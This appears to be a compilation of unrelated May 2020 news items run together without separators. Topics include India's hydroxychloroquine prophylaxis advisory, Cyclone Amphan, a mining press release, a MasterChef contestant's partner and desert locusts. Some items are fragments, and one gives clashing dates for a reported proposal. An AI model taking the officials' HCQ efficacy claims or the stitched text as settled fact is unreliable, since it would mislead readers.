Even as medical journal The Lancet published a paper on Friday saying there were no confirmed benefits of anti-malarial drug hydroxychloroquine (HCQ) being given to Covid-19 patients, the Union health ministry issued an advisory expanding the pool of people to be given the medicine as a prophylactic to prevent them from contracting the infection.

The Joint Monitoring Group and National Task Force have now recommended the prophylactic use of HCQ in the following categories: a) all asymptomatic healthcare workers involved in containment and treatment of Covid-19 and asymptomatic healthcare workers working in non-covid hospitals/non-covid areas of covid hospitals/blocks; b) Asymptomatic frontline workers, such as surveillance workers deployed in containment zones and paramilitary/police personnel involved in Covid-19 related activities; and c) Asymptomatic household contacts of laboratory confirmed cases, the advisory said.

The earlier HCQ advisory on March 23 cleared its prophylactic use for two high-risk groups: asymptomatic healthcare workers involved in the care of suspected or confirmed cases, and asymptomatic household contacts of laboratory-confirmed cases.

As a prophylactic drug, the medicine has shown results in India which is why it is advised for a larger group now. The Lancet paper that has come out will have implications for treatment regimen not prophylaxis, said an Indian Council of Medical Research (ICMR) official, who did not wish to be identified.

ICMR began a demonstration study on the efficacy of HCQ as a prophylactic medicine against Covid-19 in March to see if it will prevent people, especially those in close proximity with a positive case from acquiring the infection.

What we have been doing in India is different from the studies done anywhere else in the world in the sense that we have been checking whether it could work as a prophylactic medicine, whereas everywhere else it was given to positive patients as a treatment option. The results look like favourable in our population, said the official.

The Joint Monitoring Group under the chairmanship of Directorate General of Health Services, the government of India, and representatives from the All India Institute of Medical Sciences (AIIMS), ICMR, National Centre for Disease Control, etc reviewed HCQs prophylactic use in the context of expanding it to healthcare and other frontline workers.

A retrospective case-control analysis at ICMR has found that there is a significant dose-response relationship between the number of prophylactic doses taken and frequency of occurrence of SARS-CoV-2 [that causes covid-19] infection in symptomatic healthcare workers who were tested for SARS-CoV-2 infection. Another investigation from 3 central government hospitals in New Delhi indicates that amongst healthcare workers involved in covid-19 care, those on HCQ prophylaxis were less likely to develop SARS-CoV-2 infection, compared to those who were not on it, said the fresh health ministry advisory.

The benefit was less pronounced in healthcare workers caring for a general patient population. An observational prospective study of 334 healthcare workers at AIIMS, out of which 248 took HCQ prophylaxis (median 6 weeks of follow up) in New Delhi also showed that those taking HCQ prophylaxis had lower incidence of SARS-CoV-2 infection than those not taking it.

At National Institute of Virology, Pune, the report of the in-vitro testing of HCQ for antiviral efficacy showed reduction of infectivity/log reduction in viral RNA copy of SARs-CoV2, said the health ministry document.

In an earlier interview to HT, Union health minister Harsh Vardhan also said early reports from the pharmacovigilance programme indicate that there were no unexpected spikes of adverse reactions from the use of HCQ in the country.

Experts have also said the medicine must not be given to patients suffering from heart diseases, hypersensitivity etc. The drug is also not recommended as prophylaxis for children under 15 years of age, pregnant and lactating mothers.

For treatment purposes, the ICMR expert said, It must be reviewed for treatment regimen in view of the emergence of new strong evidence. But for us in India, it is for prophylaxis.

Doctors feel there is some more evidence required before confidence in the drug can be reinstated.

We are not giving the drug now as enthusiastically as it was given in the beginning given the kind of evidence before us. We will have to look into all aspects of the evidence available. We will talk to experts on this, said Dr Yatin Mehta, a critical care specialist at Gurugrams Medanta Hospital.

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James Carville, the former political strategist who worked for President Bill Clinton in the 1990s, is predicting that President Donald Trump will 'get his fat a** beat' in November's general election.

Despite polling day being six months away, Carville believes firmly that former vice president and the presumptive Democratic nominee, Joe Biden, will secure a convincing victory over the incumbent.

'He's gonna get his a** beat,' Carville said to John Melendez on The Stuttering John Podcast. 'Alright, he's gonna get his fat a** beat. The question is by how much.'

James Carville, right, the former political strategist who worked for President Bill Clinton, spoke with podcast host John Melendez, left, and New York comedian, Noel Casler, center

Carville said he believes most workers on Trump's campaign team also know that they are going to lose come the election

. @realDonaldTrump I was just talking to @JamesCarville and he said you are going to get your fat ass beat. #Biden2020 @CaslerNoel pic.twitter.com/qUmzWxsezK  John Melendez (@stutteringjohnm) May 21, 2020

'If we want to go to the lethargic stuff, blah, blah, blah, worry about this, we can get 290, 295 electoral votes and it'll change nothing,' Carville explained. 'If we go and take it to him and talk about what a massive fat figure he is, we can runaway with this thing. The idea is not to defeat Trump, we have to defeat Trump-ism.'

Similar claims were made during an interview on MSNBC earlier this month where he proclaimed Trump's campaign aides to be a 'pack of grifters' who know he won't win the 2020 election.

'You don't have to worry about Republicans winning the election,' Carville went on to say in the podcast. 'You have to worry about them rigging it.'

Despite polling day being six months away, Carville believes former vice president Biden will secure a convincing victory over the President Trump

'That guy literally saved the Democratic Party' Carville said of Clyburn. The congressman is pictured with Biden at a primary night election rally in Columbia, South Carolina, in February

Carville has previously praised South Carolina Rep. Jim Clyburn for endorsing Biden

'Trump is weak, he is fat, he is slow, he is being stolen from,' Carville noted. 'They're just sucking off of him. They're going to steal everything to the last moment. At some level, Trump knows that.'

Carville, who also advised Hillary Clinton in her 2008 Democratic primary run, also praised South Carolina Rep. Jim Clyburn for endorsing Biden.

The endorsement was seen as helping Biden solidify black voter support in Saturday's primary in the Palmetto State.

'That guy literally saved the Democratic Party' Carville said of Clyburn.

Carville (left) worked as a political strategist for President Bill Clinton. He is pictured with the former president in 1992
Irish troops serving on a UN peacekeeping mission in Lebanon have been given return dates.

The first contingent is due back here on June 21, with the second group scheduled to fly home on June 29.
File picture

Prime Minister Narendra Modi will on Friday travel to West Bengal and Odisha to take stock of the situation in the wake of cyclone Amphan wreaking havoc in the two states, the Prime Minister's Office said.

"He will conduct aerial surveys and take part in review meetings, where aspects of relief and rehabilitation will be discussed," the PMO said in a tweet on Thursday night.

Cyclone Amphan has left 72 people dead and thousands homeless in West Bengal, battering several parts of the state and washing away bridges and swamping low-lying areas.

It also wreaked havoc in Odisha damaging power and telecom infrastructure in several coastal districts.

The extremely severe cyclonic storm has weakened and moved to Bangladesh, the IMD said.

This will be the prime minister's first visit outside the national capital after coronavirus lockdown was imposed on the midnight of March 24.

Sources in the government said the prime minister would first reach West Bengal in the morning and then go to Odisha in the afternoon.

In a series of tweets on Thursday, Modi said no stone will be left unturned in helping those affected by cyclone Amphan.

"Have been seeing visuals from West Bengal on the devastation caused by Cyclone Amphan," the prime minister tweeted.

In this challenging hour, the entire nation stands in solidarity with West Bengal, he said.

"Praying for the well-being of the people of the state. Efforts are on to ensure normalcy," he said.

National Disaster Response Force teams are working in the cyclone-affected parts, he pointed out.

"Top officials are closely monitoring the situation and also working in close coordination with the West Bengal government. No stone will be left unturned in helping the affected," he said.

The prime minister said his thoughts are also with the people of Odisha as the state bravely battles the effects of the cyclone.

The authorities, Modi said, are working on the ground to ensure all possible assistance to the those affected.

"I pray that the situation normalises at the earliest," he said.
Zelensky asks government to fine-tune taxation rules in Ukraine

13:20, 22.05.20 4550

He wants clear and transparent taxation procedures for foreign companies that pay taxes in Ukraine.
VANCOUVER, BC / ACCESSWIRE / May 22, 2020 / MGX Minerals Inc. ("MGX" or the "Company") (CSE:XMG)(FKT:1MG)(OTC PINK:MGXMF) is pleased to announce that a field crew including MGX Vice President of Exploration and Vice President of Operations have mobilized to the Heino-Money Deposit and Tillicum Claims. The field crew has cleared 11km of mine access road at the end of 14km of active logging road, connected to the main British Columbia highway system. With the exception of seasonal snow and occasional forestry debris, the mine access and logging roads are in excellent condition and appear suitable for haulage. The field crew has now reached the previously constructed 75 man camp and begun assessing the existing structures. The field crew expects to reach the core storage shortly, where approximately 40,000 meters of diamond drill core is reported to be stored. In excess of 400 diamond drill holes are reported to have been completed by previous owners, approximately half of which were drilled from 5 levels of underground development. In the coming weeks, the field crew plans to attempt to reach the multiple existing mine portals. Current site activities are in support of a Technical Report expected to be prepared in accordance with the requirements of National Instrument 43-101 - Standards of Disclosure for Mineral Projects ("NI 43-101") and filed in June, as well as preparation for structural engineering review for the purpose of underground bulk sampling. Previous production at the property included a 5,503 ton bulk sample grading 0.599 ounces per ton in 1993 from the Heino-Money Zone processed using gravity separation and flotation. See British Columbia MINFILE 082FNW234 for detailed information regarding the deposit and claims.

Figure 1 - 3D Drill Hole Model (Assessment Report 27144)

Appointment of MGX CFO & Resignation of PurLucid CEO

Neil Foran, the Vice President of Operations of the Company, has been appointed interim CFO of the Company, while the Company continues its search for a permanent CFO.

Preston McEachern has offered his resignation as a Director and Chief Executive Officer of PurLucid Treatment Solutions (Canada) Inc. ("PurLucid"), a majority-owned subsidiary of MGX. PurLucid is finalizing the terms of Preston's resignation and the Company is assisting PurLucid in its search for a replacement CEO. The Company expects PurLucid to appoint a new CEO shortly.

Dissident Shareholders

Further, the group of concerned shareholders that requisitioned an annual general meeting of shareholders in a press release dated March 8, 2020 (the "Dissident Group") appears to be polluting the public domain with allegations against the Company.

These actions threaten the important initiatives underway to maximize the Company's potential, and to undermine shareholders' rights, and continue to divert resources away from the Company's operations. While MGX's Management remains focused on adding value to the Company, MGX is working to ensure that the interest of the public and all shareholders are protected and will not hesitate to take legal action as required to defend the interests of its shareholders.

Non-voting Shares

All shares associated with the Heino-Money Gold and Tillicum Claims transaction, as well as share issuance for data acquisition will be deemed non-voting at the upcoming Annual General Meeting. The vendors of the Heino-Money and Tillicum claims are Gustafson Holdings Ltd. and 1240089 B.C. Ltd., the vendor of the geological data is Dykes Geologic Systems Inc.

Qualified Person

Andris Kikauka (P. Geo.), Vice President of Exploration for MGX Minerals, has prepared, reviewed and approved the scientific and technical information in this press release. Mr. Kikauka is a non-independent Qualified Person within the meaning of NI 43-101.

Advisors

Kingsdale Advisors is acting as strategic shareholder and communications advisor and Norton Rose Fulbright Canada LLP is acting as legal advisor to MGX Minerals Inc.

About MGX Minerals Inc.

MGX Minerals Inc. invests in commodity and technology companies and projects focusing on battery and energy mass storage technology, extraction of minerals from fluids, and exploration for industrial minerals and precious metals.

Contact Information

Patrick Power

Chief Executive Officer

ppower@mgxminerals.com

Web: www.mgxminerals.com

Media

Andy Radia

Director, Communications and Marketing

Kingsdale Advisors

Ph: 416-867-2357

aradia@kingsdaleadvisors.com

Neither the Canadian Securities Exchange nor its Regulation Services Provider (as that term is defined in the policies of the Canadian Securities Exchange) accepts responsibility for the adequacy or accuracy of this release.

Forward-Looking Statements

This press release contains forward-looking information or forward-looking statements (collectively, "forward-looking information") within the meaning of applicable securities laws. All statements, other than statements of historical fact, included herein are forward-looking information. Forward-looking information in this press release include, but are not limited to, statements with respect to plans for assessment and other activities conducted and proposed to be conducted at the Heino-Money Deposit and Tillicum Claims, the preparation and filing of the Technical Report, and the preparation for structural engineering review for the purpose of underground bulk sampling. Forward-looking information is generally, but not always, identified by the words "expects", "plans", "anticipates", "in the event", "if", "believes", "asserts", "position", "intends", "envisages", "assumes", "recommends", "estimates", "approximate", "projects", "potential", "indicate" and similar expressions, or that events or conditions "will", "would", "may", "could" or "should" occur.

The Company's forward-looking information are based on the applicable assumptions and factors the Company considers reasonable as of the date hereof, based on the information available to the Company at such time, including without limitation, the receipt of any necessary permits, licenses and regulatory approvals, and the Company's ability to comply with environmental, health and safety laws. The Company cautions investors that any forward-looking information provided by the Company is not a guarantee of future results or performance, and that actual results may differ materially from those in forward-looking information as a result of various risk factors. These factors include, among others, geological and environmental factors, operating or technical difficulties in connection with the activities contemplated in this press release, general economic conditions, or conditions in the financial markets. The reader is referred to the Company's public filings for a more complete discussion of such risk factors, and their potential effects, which may be accessed through the Company's profile on SEDAR at www.sedar.com. Except as required by securities law, the Company does not intend, and does not assume any obligation, to update or revise any forward-looking information, whether as a result of new information, events or otherwise.

SOURCE: MGX Minerals Inc.

View source version on accesswire.com:https://www.accesswire.com/591021/MGX-Minerals-Announces-Mobilization-of-Field-Crew-to-Heino-Money-Gold-Deposit-in-Support-of-NI-43-101-Technical-Report
The Speaker of Parliament, Professor Aaron Mike Oquaye, has called for a national conversation on whether the appointment of judges to the Supreme Court (SC ) should be capped.



I think that the House and Ghanaians should consider and decide on the matter very carefully, otherwise we will always be asking judges on issues which they cannot make specific pronouncement, especially, when they are seeking approval to the Supreme Court. This is the dilemma of our situation, he said.



Prof. Oquaye, who made the call after announcing the approval of the nomination of the four justices to the Supreme Court last Wednesday, added that the capping position of the Supreme Court in the United States should not be compared with Ghanas position at all, and for very good reasons.



The four are Justice Clemence Jackson Honyenuga, Justice Issifu Omoro Tanko Amadu, both justices of the Appeal Court; Professor Henrietta J. A. N. Mensa-Bonsu, a former Law lecturer at the University of Ghana, and Mr Emmanuel Yonny Kulendi, a private legal practitioner.



Arguments



During the vetting of the nominees on May 11, 2020, Appointments Committee members often sought the personal opinions of the nominees, especially Justice Honyenuga and Mr Kulendi, who espoused contrasting views on the capping of justices at the SC.



While Justice Honyenuga proposed that judges at the SC be capped at 17 to ensure expeditious adjudication of cases, Mr Kulendi said he was a proponent of having an open ceiling of SC judges on the grounds that the constitution must be allowed structural flexibility and be forward-looking to enable it to respond to future needs of the people.



However, both agreed that there were cases that went before the Supreme Court and some of the justices had to recuse themselves to avoid conflict of interest, thus, causing delays to the hearing of those cases.



They also agreed that having more judges at the Supreme Court would assist the Chief Justice to empanel sufficient judges to hear cases without delays.



Constitutional compulsion



Prof. Oquaye said unlike the United States of America where the SC sat only as one court and heard only constitutional matters, the constitution of Ghana, under Article 131 (1) (a), allowed the right to appeal in all matters, be it civil or criminal.



Besides, he said the Supreme Court in Ghana had different groups of judges that heard different cases at the same time.



This is because of the constitutional compulsion and the rights granted everybody to appeal and, therefore, I can see that something may have to be done to this before we come to cap or not to cap, the Speaker added.



French system



Prof. Oquaye further noted that under the French Constitution, there were constitutional courts that separately looked at constitutional cases only.



He, however, said Ghana adopted the America style of Supreme Court, but went ahead over their own application in hearing of cases in the country.

Source: Daily Graphic









Disclaimer : Opinions expressed here are those of the writers and do not reflect those of Peacefmonline.com. Peacefmonline.com accepts no responsibility legal or otherwise for their accuracy of content. Please report any inappropriate content to us, and we will evaluate it as a matter of priority.

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Ben Ungermann's rumoured fiancee, Leigh-Anne Williams, has been pictured for the first time since the MasterChef contestant was charged with two counts of allegedly sexually assaulting a 16-year-old girl.

The South African radio host wore a protective face mask as she arrived at her workplace in Cape Town - which has been described as one of Africa's coronavirus hotspots - on Thursday morning.

Williams, who hosts a weekday afternoon show on urban station Good Hope FM, showed no sign of strain despite the serious charges laid against her boyfriend.

MasterChef star Ben Ungermann's girlfriend, Leigh-Anne Williams, was spotted in Cape Town, South Africa, on Thursday. It was her first public sighting since it was reported Ungermann had been charged on March 6 with two counts of allegedly sexually assaulting a 16-year-old girl

She was not wearing an engagement ring, despite reports Ungermann had proposed in February, which suggests they are either just dating or no longer intend to marry.

Williams entered the building wearing a floral dress and cropped denim jacket. She slung a backpack over her left shoulder and kept a pair of sunglasses on her head.

She was later spotted driving her car through the streets of Cape Town and going shopping wearing a blue face covering.

The couple had met in 2017, the year Ungermann placed second on MasterChef season nine. He had travelled to Cape Town to give cooking demonstrations and was interviewed on Williams' radio show

The couple had met in 2017, the year Ungermann placed second on MasterChef Australia's ninth season.

He had travelled to Cape Town to give cooking demonstrations and was interviewed on Williams' radio show, where the pair hit it off.

At the time, Williams apparently described Ungermann as 'very easy on the eyes'.

The South African radio host wore a protective face mask as she arrived at her workplace

Williams, who hosts a weekday afternoon show on urban station Good Hope FM, showed no sign of strain despite the serious charges laid against her boyfriend

She held a brown paper bag with the label 'SABC Cares'. SABC, or the South African Broadcasting Corporation, is the country's public broadcaster

She had visited Ungermann in Melbourne, where MasterChef was being filmed, in February this year.

At about this time, it's rumoured they became engaged - but neither Williams nor Ungermann has confirmed this.

That same month, on February 23, a 16-year old girl alleges Ungermann sexually assaulted her.

A week later, Williams appeared to be back in South Africa, but no less committed to her man in Melbourne.

She was not wearing an engagement ring, despite reports Ungermann had proposed in March, which suggests they are either just dating or no longer intend to marry

Williams entered the building wearing a floral dress and cropped denim jacket. She slung a backpack over her left shoulder and kept a pair of sunglasses on her head

On May 1, after Ungermann had been charged with alleged sex crimes, Williams wished her boyfriend a happy birthday on Instagram.

'To one of the kindest, most beautiful and caring human beings I know,' she wrote.

'May you receive all the love that you've always shown those around and may you always be blessed in everything you do.'

She was later spotted driving her car through the streets of Cape Town

On May 1, after Ungermann had been charged with alleged sex crimes, Williams wished her boyfriend a happy birthday on Instagram

She described him as 'one of the kindest, most beautiful and caring human beings I know'

Ungermann was charged by Victorian sexual crime squad detectives on March 6 with two counts of sexual assault.

Following his arrest, he was dismissed from the new series of MasterChef: Back to Win.

Less than a week after being charged, he tried to contact his girlfriend via an Instagram account he does not normally outwardly use.

It appeared to be a call for help.

Williams had visited Ungermann in Melbourne - where MasterChef was being filmed - in February this year. At about this time, it's rumoured they became engaged

A 16-year old girl alleges Ungermann sexually assaulted her on February 23

His lawyer, Adam Houda, says the allegations are 'a complete fabrication and are denied'

'Honey, Leigh please call me asap at Quest New Quay room 1705B,' he commented publicly sometime in early March.

Quest NewQuay is a serviced apartment complex in Melbourne's Docklands.

The embattled chef from Queensland has since gone into hiding and has communicated his innocence only through his lawyer, Adam Houda.

Ungermann was charged by Victorian sexual crime squad detectives on March 6 with two counts of sexual assault. Less than a week after being charged, he tried to contact his girlfriend (pictured) via an Instagram account he does not normally outwardly use

'Honey, Leigh please call me asap at Quest New Quay room 1705B,' he commented publicly in the days after he was charged

Mr Houda told Daily Mail Australia his client was completely blindsided by the charges.

'My client is distressed by the charges, which came as a huge shock to him,' he said on Tuesday night.

'The allegations, I am instructed, are a complete fabrication and are denied.'
Set in the world of international espionage, Christopher Nolans Tenet has dropped a new trailer and the diehard fans now know a little more about what, if not when. John David Washingtons character is up against Kenneth Branaghs Bond villain-like character. At stake is the survival itself as Clemence Poesys scientist claims Washington needs to avert World War 3, but there is something worse in the wind than just nuclear warheads.

The concept of time inversion is introduced through words and visuals, making it clear that the film is not about time travel as assumed earlier. Youre not shooting the bullet. Youre catching it, Poesy does the explaining again.

Watch new Tenet trailer here

Teased with the films title, Tenet -- a palindrome, time can move both backward and forward in this new reality. Tenet also works as a password of sorts that can open doors and also get you killed.

Robert Pattinson joins Washington in his adventure as they take a trippy journey, which also involves colliding airplanes but not in the air because that is ludicrous. With some awe-inspiring action sequences both in the air and water, the new trailer is all that the eager moviegoers were waiting for. We also get to see Bollywood actor Dimple Kapadia who drops information about how relevant Tenet is: There are people in the future who need us, who need Tenet.

Tenet, which has also been shot in India, has been described as an action epic evolving from the world of international espionage. And Pattinson described shooting the film as insane. He said, In each country theres, like, an enormous set-piece scene, which is like the climax of a normal movie. In every single country, he said, adding that theres actually no time travelling in the film.

Also read: Ranbir Kapoor is Alia Bhatts lockdown hair stylist, confirms Karan Johar as he says she is in a happy place

And now about when we will see this film in the times of social distancing. It seems Nolan and Warner Bros may still be looking at the July 17 release, conditions permitting, the world is still unsure of how the dice will roll on that one. The trailer simply ends with a coming to theatres without committing to a date.

Bold of Nolan to announce not a release date, but that Tenet is coming to theaters. A movie to die for! https://t.co/q1aPYygF24  Samantha BB from home (@KitsuneCloset) May 22, 2020

Tenet: COMING TO THEATERS

Covid-19: pic.twitter.com/7BMHWwAR0D  PLAY LOTTO HERE (@MOOTZAADELL) May 22, 2020

I SAW COMING TO THEATERS AND I GOT A HUGE RUSH OF EXCITEMENT  I MISS THE MOVIES  Bonita Applebum  (@atribecalledval) May 22, 2020

Written and directed by Nolan, the film stars Pattinson, Washington, Poesy, Branagh, and Kapadia along with Elizabeth Debicki, Aaron Taylor-Johnson, Michael Caine, and Denzil Smith.

Follow @htshowbiz for more

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Prime Minister Nikol Pashinian and key members of his administration caused an uproar in Armenia after clearly failing to observe social distancing during a state banquet in Nagorno-Karabakh on Thursday.

The open-air dinner party was held in the town of Shushi following the inauguration of Ara Harutiunian, Karabakhs recently elected new president.

Official photographs of the event showed Pashinian, Armenian parliament speaker Ararat Mirzoyan, their wives and dozens of other dignitaries standing tightly around tables loaded with various dishes and snacks. None of the guests wore gloves, let alone masks.

The photos were widely circulated on social media, prompting criticism from not only opponents but also some supporters of the Armenian government. Some critics accused Pashinian of recklessness and hypocrisy.

The prime minister attended the inauguration events in Karabakh just hours after expressing serious concern over the continuing rapid spread of coronavirus in Armenia. The situation is much more serious than we can imagine, he warned at a cabinet meeting in Yerevan.

Pashinian again complained that many Armenians are still not complying with social distancing and hygiene rules set by the health authorities. He ordered the Armenian police to enforce those rules more strictly.

Responding to the uproar, Pashinians spokeswoman, Mane Gevorgian, insisted that the premier and his entourage took all necessary precautions against the virus during their latest trip to Karabakh.

The banquet followed the inauguration ceremony of Artsakhs new president during which the prime minister, his wife, government members and deputies of the National Assembly wore masks, Gevorgian told RFE/RLs Armenian service on Friday. Many of them also wore gloves.

Deputy parliament speaker Alen Simonian argued, for his part, that the COVID-19 infection rate in Karabakh is much lower than in Armenia. Fortunately, Karabakh does not have the kind of strict restrictions that are in place in Armenia, he said.

Simonian seemed to acknowledge at the same time that the organizers and participants of the inauguration party should have been more careful. We all must draw conclusions and learn from our mistakes and shortcomings, he said.

Authorities in Karabakh have reported 33 coronavirus cases and no deaths resulting from them so far. The Armenian-populated territory, which had broken away from Azerbaijan in 1991, has around 150,000 residents.

In Armenia, the Ministry of Health reported on Friday 322 new infections and 4 more deaths. The total number of COVID-19 cases thus reached 5,928.
Challenging Swachh Survekshan leagues zero star rating to the Brihanmumbai Municipal Corporation (BMC) in the garbage-free city section, the civic body has written a letter to the Centre pointing out loopholes in the rating process.

The results of the rating were declared by the Centre this week, wherein BMC failed in one of the parameters of sweeping of public, commercial and residential areas.

The BMC challenged the evidence uploaded by the third-party auditor on the basis of which the ratings were given. In its letter, a copy of which is with HT, BMC has also questioned the credibility of the third-party auditor.

The BMC had applied for a five-star rating in the garbage-free city section in Swachh Survekshan League 2020, following which a team of third-party auditor visited the city for a survey. The team submitted a photo which showed a garbage pile up and was the basis for the zero-star rating. The BMC in its letter has challenged the authenticity of the photo stating that the evidence is tampered with.

The garbage-free city rating is a prelude to the announcement of rankings for Swachh Survekshan-2020. The final rankings are likely to be announced after the lockdown is over.

A senior civic official, requesting anonymity, said, The physical site shown in the photo and the location marked does not match at all. Also, the metadata of the photo reveals that the image was modified in March. The evidence is clearly tampered with.

Hinting that such tampering may deter the city to participate in surveys, the letter stated, Such tampering of evidence is unacceptable and raises a grave concern on the third-party auditor, data compilers and the results declared without request for clarification. This is tremendously disheartening for the morale of city staff and in future may deter the cities from participating in such activities.

Mumbai was ranked 49th among 425 cities in the 2019 Swachh Bharat Survekshan, a steep fall from its 18th rank in 2018. The Swachh Survekshan 2020, conducted by the central government, ranks cities across the country on the basis of cleanliness at public places.
The desert locust invasion, which poses a significant threat to the livelihoods and food security, is expected to move from East Africa to India and Pakistan next month and could be accompanied by other swarms, a top official of the UN's food and agricultural agency has warned.

The desert locust is considered the most destructive migratory pest in the world and a single swarm covering one square kilometre can contain up to 80 million locusts.

The Food and Agriculture Organisation (FAO's) Senior Locust Forecasting Officer Keith Cressman said: Everybody knows we're facing one of the worst desert locust situations that we've probably had in a number of decades.

It's obviously being focused at the moment on East Africa, where it's extremely vulnerable in terms of livelihoods and food security but now in the next month or so it will expand to other areas and will move (towards)West Africa.

And it will move across the Indian Ocean to India and Pakistan, Cressman said during a virtual briefing on Thursday on the FAO Desert Locust Appeal amid the new threat to Southwest Asia and Africa's Sahel region.

Currently, the locust invasion is most serious in Kenya, Somalia, Ethiopia, southern Iran and in parts of Pakistan and starting in June, it will move from Kenya to throughout Ethiopia, as well as to Sudan and perhaps West Africa.

The infestations in southern Iran, and in southwest Pakistan, they will move to India and Pakistan on the border areas. And those infestations in India and Pakistan could be supplemented by other swarms coming from East Africa, Northern Somalia, he said.

On what the UN is doing to help these countries as they face the locust invasion, Cressman said the FAO is working with the nations to upscale and intensify their monitoring and control operations.

He said the agency has fielded expertise that the countries may not have themselves as well as logisticians and brought in aircraft to help them with the aerial control operations, which is what is really needed in order to bring the locust numbers down.

The FAO has also made an appeal to the international community for about USD 153 million to fund these increased operations.

We're focusing on Kenya, Somalia and Ethiopia, and we have been focusing on those countries now since the beginning of the year, but the focus now will be extending to Yemen, Iran, Pakistan, and if need be to West Africa, the official said.

The FAO's Desert Locust appeal, launched in January, now covers 10 countries - Djibouti, Eritrea, Ethiopia, Kenya, Somalia, South Sudan, Sudan, Uganda, Tanzania and Yemen.

The current upsurge is particularly alarming in the broader Eastern Africa region, with recently released forecasts from the Global Report on Food Crises indicating that over 25 million people will face acute food insecurity in the region in the second half of 2020.

In Yemen, where locusts have been reproducing in hard-to-access inland areas, an additional 17 million people are acutely food insecure.

But those estimates were made before the impact of COVID-19 in a region of acute food insecurity.

India has proposed to Pakistan and Iran for a coordinated approach in dealing with the alarming threat of fast-increasing desert locusts in the region, official sources said on Thursday.

However, Pakistan is yet to respond to India's proposal while Iran communicated its readiness for a joint approach to contain the desert locusts.

Officials in Jaipur said this week that locust outbreaks may affect more Rajasthan districts adjoining Pakistan this year as compared to the previous one.

The Rajasthan government has made an emergency plan to deal with it and preparations are being made to spray insecticides from drones in remote inaccessible areas for effective control measures, they said.

State Agriculture Minister Lalchand Kataria on Monday reviewed locust control, kharif procurement process and Prime Minister's Crop Insurance Scheme with officials.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
PHD Chamber of Commerce and Industry organized an interactive session on celebrating World Telecommunication and Information Society Day 2020 and World Hypertension Day 2020 with the theme Connect 2030: ICTs for the Sustainable Development Goals (SDGs) with eminent panelist which were Mr. Anil Kumar Bhardwaj, Advisor (Broadcasting and Cables), Telecom Regulator Authority of India (TRAI); Mr. Ashutosh Vasant, Director- POM, RailTel Corporation of India; Prof N K Goyal, President, Chairman, Emeritus; Mr. Sanjeev Shreya, Regional President, IDEMIA; Dr. M Khalilullah, Managing Director and Cardiologist, The Heart Centre, New Delhi.

Mr. Anil Kumar Bhardwaj, Advisor (Broadcasting and Cables), Telecom Regulator Authority of India (TRAI) mentioned that the IT and Telecom Sector is one of the backbones sectors for the country. There is a need to advance the telecom infrastructure for the country. In India, since 2016 data usage has multiplied by 44 times and due to COVID-19, daily usage has increased by 15%. We have been taking a lot of effort and measures to ensure smooth communication and strengthen the network capacity.

The objective for 2030 for the telecom industry is innovation, inclusiveness, suitability, partnership, and others. We are trying our best to make achieve this goal through reforms, strengthen connectivity, and many other initiatives. Telecom in a dynamic growing industry and we will continue to develop it in the best possible ways. said Mr. Anil Kumar Bhardwaj.

Hypertension is a behavioral change and we have accepted and are living with it but it has been projected that 25% of the global population is likely to suffer from hypertension by 2025. So, one has to be careful and we have to talk about our problems to someone who can help us to relieve the anxiety and stress we carry, said Mr. Anil Kumar Bhardwaj.

Dr. M Khalilullah, Managing Director and Cardiologist, The Heart Centre, New Delhi gave a detailed deliberation about the symptoms and factors that cause hypertension and the increase in the number of cases of hypertension over the years. He also said that people who suffer from obesity have a high chance of getting hypertension. It can be mainly dialogized via blood pressure and it has stages. He further highlighted that stroke is a severe stage of hypertension.

Hypertension can cause damage to every part of the body and its really important to be vigilant about it. One should start the treatment of hypertension at the earliest and make sure that one maintains an active lifestyle to keep problems like hypertension at bay, said Dr Khalilullah

Mr. Ashutosh Vasant, Director- POM, RailTel Corporation of India emphasized the shift of physical offices to virtual offices which will be the next development for the work environment. The virtual office will make India a step ahead and help the working environment more streamlined and harmonious. He further talked about the new developments in the telecommunication industry.

Mr. Sanjeev Shreya, Regional President, IDEMIA gave insights about the telecom sectors history and developments due to which we live in a well-connected world. He also said that telecom has impacted human behavior and discussed how India has sustained itself in the telecommunication sector.

Mr. Sanjeev Shreya mentioned that Indias development in telecommunication is under two parts- first is digital telecommunication through smartphones and the second is basic feature phones. He further deliberated about the security risks involved in the telecommunication which is causing a threat and the financial inclusion due to which many telecommunication companies are having financial crunches.

Prof NK Goyal, President, Chairman, Emeritus talked about the massive increase in the usage of devices like laptops, mobiles, and others to work from home and stay connected. He further talked that during this lockdown, there are 400 cyberattacks per day, 64% were focused on educating students and there is a need to find a solution to combat it.

Mr. Sanjay Aggarwal, Senior Vice President in his welcome remarks mentioned the role of telecom in these times when the majority of people are working from home and due to telecom, we can interact and stay connected. He gave an overview of the industry focusing upon its benefits, vast reach, and its importance which needs to be understood, respected, and nurtured.

Its important to understand that due to development in the telecom sector we can reach everyone in this world of today. The Telecom sector is profitable, the potential to grow itself and this sector becomes a thriving sector for the betterment of the future. the new normal will be to be connected via technology and keep ourselves calm, said Mr. Sanjay Aggarwal.

Mr. Sandeep Aggarwal, Chairman, Telecom Committee, PHD Chamber while deliberating about the growth of telecommunication in the world of today and world telecommunication day, mentioned that the future is of self-driving automobiles, remote working of operation theaters, artificial intelligence and many more. He said that we are connected via mobile and electronic devices while were in lockdown. These electronic telecommunication devices are ensuring that we are in peace and convenience and working efficiently remotely.

Mr. Saurabh Sanyal, Secretary-General, PHD Chamber delivered a formal vote of thanks to all the eminent panelists and other participants and thanked them for such an informative session.

The session was supported by IDEMIA and Coca Cola. The session was moderated by Dr. Yogesh Srivastav, Principal Director, PHD Chamber, and was attended by Mr. Alok Mukherjee, Co-Chairman, Telecom Committee, PHD Chamber and received extensive participation of 100 participants which included senior members of the PHD Chamber and industry stalwarts all over the country.
Veteran actor Mumtaz on Friday dismissed rumours of her death in a video message, saying she is alive and doing well.

There were reports on social media that the actor has passed away.

"Hi all my friends, I love you all. See, I am not dead. I am alive. I am not that 'buddhi' (old) as they say. I still look presentable because of your blessings," Mumtaz said in a video message, posted on her daughter Tanya Madhvani's Instagram account.

The actor's daughter urged people to stop spreading false

"With another death hoax going around she is well and doing great! Despite images of her being spread across the internet when she was fighting her cancer battle many years ago that claim she looks old! She is now healthy and happy and beautiful! Give her a break she is 73," she captioned the video



Mumtaz has been living with her family in London for several years.

One of the popular actresses in the 1970s, Mumtaz featured in films such as "Mela", "Apradh", "Nagin", "Bramachari", "Ram Aur Shyam", "Do Raste" and "Khilona".

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
